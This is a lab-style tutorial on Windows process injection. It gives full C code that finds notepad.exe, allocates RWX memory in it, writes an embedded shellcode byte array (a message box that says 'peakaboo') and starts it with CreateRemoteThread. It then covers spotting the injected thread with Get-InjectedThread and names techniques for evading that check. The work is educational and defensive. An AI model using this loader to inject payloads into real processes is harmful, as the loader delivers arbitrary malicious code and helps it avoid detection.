CreateRemoteThread

  1. Allocate Memory in remote process(VirtualAlloc)

  2. Write shellcode to remote process(WriteProcessMemory)

  3. Create thread running shellcode(CreateRemoteThread)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

unsigned char shellcode [] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d, 0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x70, 0x65, 0x61, 0x6b, 0x61, 0x62, 0x6f, 
  0x6f, 0x00
};
unsigned int pay_len = sizeof(shellcode);


DWORD FindProcessPid(const char* name)
{
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system
    if (hSnapshot)
    {
        if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name
        {
            do
            {
                if (strcmp(pe32.szExeFile, name) == 0) // compares the process name, with our user supplied name
                {
                    return pe32.th32ProcessID; // if its the same, return the process id
                }
            } while (Process32Next(hSnapshot, &pe32));
            CloseHandle(hSnapshot);
        }
    }

    return -1; // returns negative one if the process is not found
}

int main(void) {
    int pid = FindProcessPid("notepad.exe");
    printf("notepad Pid is %d\n", pid);
    getchar();

    HANDLE hProc = NULL;
    LPVOID pRemoteCode = NULL;
    HANDLE hThread = NULL;

    HANDLE han_proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
        PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD)pid);


    void *pRem = VirtualAllocEx(han_proc, NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(han_proc, pRem, (PVOID)shellcode, (SIZE_T)pay_len, (SIZE_T*)NULL);

    CreateRemoteThread(han_proc, NULL, 0, (LPTHREAD_START_ROUTINE)pRem, NULL, 0, NULL);
    CloseHandle(han_proc);

    return 0;
}

Alright, so lets see this in action.

As we can see, the PIDs match.

Lets press enter and see what happens next.

In our notepad process, we will get a peakaboo message box, which is what our shellcode does when ran.

We have successfully injected shellcode into a remote process.

Now, I forgot to print out the address of the allocated memory, but we can easily identify it by looking at RWX sections in our code.

Lets take a look at process hacker and try to find our allocated memory with our shellcode in the notepad process.

As we can see, at address 0x22aa5ce000 is the memory address that stores our shellcode. We know this is our shellcode because of the peakaboo bytes at the end.

We can also see the running threads of notepad in process hacker. We can see our remote thread that we called which is represented by "RtlUserThreadStart":

A potential detection technique is to look at what addresses your threads point to, if they point to this weird heap allocated block of memory, chances are that these are malicious and you can then scan that memory for any shellcode signatures(or just flag it).

We can enumerate all threads, and find all the threads that don't point back into legit text sections, and raise an exception if they don't. This is what getinjectethread does. Let's try running that out and see if our malware gets detected:

Oh no(or oh yeah)! our Malware has been detected.

But as attackers, there are 2 things we can do to make our thread look legitimate and not be flagged by getinjectedthread.

  1. ROP chains

  2. SetThreadContext

I won't go into much detail here because this was just supposed to be a simple lab(ish), but there is a wonderful blog by XPNsec which goes into more detail into getinjectedthread and evading it:

Last updated